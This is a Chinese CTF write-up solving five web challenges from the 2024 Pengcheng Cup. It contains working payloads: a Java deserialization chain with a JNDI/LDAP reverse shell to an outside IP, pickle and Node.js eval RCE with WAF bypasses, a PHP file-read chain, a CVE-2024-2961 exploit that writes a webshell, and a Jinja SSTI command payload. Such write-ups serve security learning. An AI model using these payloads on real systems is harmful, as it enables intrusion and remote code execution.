2024 鹏城杯web题解
真爱和自由 发表于 四川 CTF 458浏览 · 2024-11-09 11:49

LookUP-pcb2024

下载附件,看源代码和题目名称就是打jndi

然后题目给出了相关的类

触发hashcode,然后到eval,看到eval代码

发现就是jndi,而且jdk也是低版本,可以打ldap

构造链子,但是有waf

二次反序列化就可以绕过

构造链子,二次反序列化的链子网上一堆,然后需要拼接一下本题的

import com.backdoor.classes.hello;
 import com.fasterxml.jackson.databind.node.POJONode;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtMethod;
 import javax.management.BadAttributeValueExpException;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.security.*;
 import java.util.Base64;
 import java.util.HashMap;

 public class Test {

   public static void main(String[] args) throws Exception {
     try {
       ClassPool pool = ClassPool.*getDefault*();
       CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
       CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
       jsonNode.removeMethod(writeReplace);
       ClassLoader classLoader = Thread.*currentThread*().getContextClassLoader();
       jsonNode.toClass(classLoader, null);
     } catch (Exception var11) {
     }
     Class<?> cls = Class.*forName*("com.backdoor.classes.hello");
     Constructor<?> constructor = cls.getDeclaredConstructor();
     constructor.setAccessible(true);
     hello obj = (hello) constructor.newInstance();
     *setFieldValue*(obj,"name","ldap://49.232.222.195:1389/Basic/ReverseShell/49.232.222.195/2333");
     HashMap hashMap1=*makeMap*(obj,obj);

​     KeyPairGenerator kpg = KeyPairGenerator.*getInstance*("DSA");
​     kpg.initialize(1024);
​     KeyPair kp = kpg.generateKeyPair();
​     SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.*getInstance*("DSA"));
​     POJONode node = new POJONode(signedObject);
​     BadAttributeValueExpException val = new BadAttributeValueExpException(null);

​     *setFieldValue*(val, "val", node);

​     System.*out*.println(*serial*(val));
   }
   public static String serial(Object o) throws IOException, NoSuchFieldException {
​     ByteArrayOutputStream baos = new ByteArrayOutputStream();
​     ObjectOutputStream oos = new ObjectOutputStream(baos);
​     oos.writeObject(o);
​     oos.close();

​     String base64String = Base64.*getEncoder*().encodeToString(baos.toByteArray());
​     return base64String;
   }
   public static void setFieldValue(Object obj, String field, Object val) throws Exception{
​     Field dField = obj.getClass().getDeclaredField(field);
​     dField.setAccessible(true);
​     dField.set(obj, val);
   }
   public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
​     HashMap<Object, Object> s = new HashMap<>();
​     *setFieldValue*(s, "size", 2);
​     Class<?> nodeC;
​     try {
​       nodeC = Class.*forName*("java.util.HashMap$Node");
​     } catch (ClassNotFoundException e) {
​       nodeC = Class.*forName*("java.util.HashMap$Entry");
​     }
​     Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class,
​         nodeC);
​     nodeCons.setAccessible(true);
​     Object tbl = Array.*newInstance*(nodeC, 2);
​     Array.*set*(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
​     Array.*set*(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
​     *setFieldValue*(s, "table", tbl);
​     return s;
   }
 }

刚开始以为题目不出网,然后dns了一下

是出网的,然后就直接用工具起个服务了

然后发送paylaod

得到flag

ez_python

爆破得到 test/123456 用户密码,

登录后提示不是管理员,需要进行 jwt 伪造,进行 token 爆破得到 key 为 a123456,然后进行伪造 jwt

然后提示

访问路由 /ser 得到

猜测 pickle 反序列化,参数测试为 pikcled,但是没有回显,不过存在报错,利用报错进行回显。最后构造

import pickle  
import base64  
class A():  
    def __reduce__(self):  
        return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))  

a = A()  
b = pickle.dumps(a)  
print(base64.urlsafe_b64encode(b))

最后报错得到 flag

notadmin

下载附件得到源码:

const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());

const tmp_user = {}

function authenticateToken(req, res, next) {
    const authHeader = req.headers['authorization'];
    const token = authHeader;
    if (tmp_user.secretKey == undefined) {
        tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
    }
    if (!token) {
        return res.redirect('/login');
    }
    try {
        const decoded = jwt.verify(token, tmp_user.secretKey);
        req.user = decoded;
        next();
    } catch (ex) {
        return res.status(400).send('Invalid token.');
    }
}

const merge = (a, b) => {
    for (var c in b) {
        console.log(JSON.stringify(b[c]));
        if (check(b[c])) {
            if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
                merge(a[c], b[c]);
            } else {
                a[c] = b[c];
            }
        } else {
            return 0
        }
    }
    return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
    let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

    if (typeof str === 'object' && str !== null) {
        for (let key in str) {
            if (!check(key)) {
                return false;
            }
            if (!check(str[key])) {
                return false;
            }
        }
        return true;
    } else {
        return !input.test(str);
    }
};

app.get('/login', (req, res) => {
    res.render('login')
});

app.post('/login', (req, res) => {
    if (merge(tmp_user, req.body)) {
        if (tmp_user.secretKey == undefined) {
            tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
        }
        if (User.verifyLogin(tmp_user.password)) {
            const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
            res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
        } else {
            res.send('Login failed!');
        }
    } else {
        res.send("Hacker denied!")
    }
});

app.get('/', (req, res) => {
    authenticateToken(req, res, () => {
        backcode = eval(tmp_user.code)
        res.send("something happend~")
    });
});

app.listen(port, () => {
    console.log(`Server running at http://localhost:${port}`);
});

然后本地简单调试发现可以通过 json 传的参数进行 tmp_user 的属性赋值,比如传参

{"secretKey":"123",
"code":"console.log(111)",
"username":"admin",
"password":"admin"}

所以可以自己设定 key 值伪造 jwt 进入到 eval 方法,jwt 伪造脚本

const jwt = require('jsonwebtoken');
const token=jwt.sign({ username: "admin" }, "123");
console.log(token)

然后带上验证 token 访问根路由

Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMxMTQzNjM3fQ.aos0yojwQZsZKEfMhVeLEcDJg4DIZepdfDiLZRniNcM

emm,能执行但是没有回显,然后还需要绕过 waf,过滤了一些命令执行函数

input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

利用 Reflect.get 进行绕过中括号和关键字,Reflect.get(target, propertyKey[, receiver]) 的作用是获取对象身上某个属性的值,类似于 target[name]

Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('eva')))('global.process.mainModule.constructor._load("child_process").execSync("calc")')

eval 部分利用编码绕过,base64 编码需要注意不要有 > 会被编码为 + 号,尝试外带无果,最后把 flag 写到 public 目录下

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjYXQgL2ZsYWd8dGVlIC4vcHVibGljL2xvZ2luLmpzIik=`,`ba`.concat(`se64`)).toString())

最后得到 flag

fileread

开题一个简单的反序列化链,

<?php
class cls1{
    var $cls;
    var $arr;
    function show(){
        show_source(__FILE__);
    }
    function __wakeup(){
    }
}
class cls2{
    var $filename = 'hello.php';
    var $txt = '';
    function __get($key){
    }
}

$aaa=new cls1();
$aaa->cls= new cls2();
$aaa->arr=array('fileput');
$aaa->cls->filename="/etc/passwd";
echo base64_encode(serialize($aaa));

发现可以任意文件读取

但是 file_get_contents 无法直接利用伪协议进行 rce,想到 cve-2024-2961 可以直接文件读取提升为 rce。

github 链接:https://github.com/ambionics/cnext-exploits

下载后更改关键部分代码

def send(self, path: str) -> Response:  
     path1 = 'O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:' + str(len(path)) + ':"' + path + '";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:0;s:7:"fileput";}}'  
    path2 = b64(path1.encode()).decode()  
    url = self.url+f"?ser={path2}"  
    return self.session.get(url) 

def download(self, path: str) -> bytes:  
    """Returns the contents of a remote file.  
    """    path = f"php://filter/convert.base64-encode/resource={path}"  
    response = self.send(path)  
    data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)  
    return base64.decode(data)

然后执行

python basectf.py http://192.168.18.24/ "echo '<?=@eval(\$_POST[111]);?>' > shell.php"

看到成功执行了,访问一句话木马执行命令得到 flag

python 口算

开题:

需要在 1 秒内进行计算,拷打 gpt 写个脚本

import time  
import requests  
import re  

url = 'http://192.168.18.28/'  

def get():  
    try:  
        response = requests.get(url + 'calc')  
        response.raise_for_status()  
        expression = re.search(r'([\d+\-*/() .]+)', response.text)  
        if expression:  
            return expression.group(1)  
        else:  
            return None  
    except requests.RequestException as e:  
        print(f"请求失败: {e}")  
        return None  
def exc(expression):  
    try:  
        result = eval(expression)  
        return result  
    except Exception as e:  
        return None  

def anser(result):  
    try:  
        url1=url+f'?answer={result}'  
        response = requests.get(url1)  
        response.raise_for_status()  
        print(f"{response.text}")  
    except requests.RequestException as e:  
        print(f"{e}")  

def main():  
    while True:  
        expression = get()  
        if expression:  
            print(f"{expression}")  
            result = exc(expression)  
            if result is not None:  
                print(f"{result}")  
                anser(result)  
            else:  
                print("计算失败,跳过此次提交")  

if __name__ == '__main__':  
    main()

然后看到计算成功后给了个路由

访问路由得到残缺的源码

@app.route('/')
def index(solved=0):
    global current_expr

    # 前端计算
    .....
    .....
    # 通过计算

    username = 'ctfer!'
    if request.args.get('username'):
        username = request.args.get('username')
        if whitelist_filter(username,whitelist_patterns):
            if blacklist_filter(username):
                return render_template_string("filtered")
            else:
                print("你过关!")
        else:
            return render_template_string("filtered")
    return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

看到可以传入 username 参数存在 ssti,基本没有 waf 直接进行命令执行即可
` {"username":"{{cycler.next['__globals__'].__builtins__.__import__('os').popen('\\143\\141\\164\\40\\57\\146\\154\\141\\147').read()}}"}
最后得到 flag

0 条评论
某人
表情
可输入 255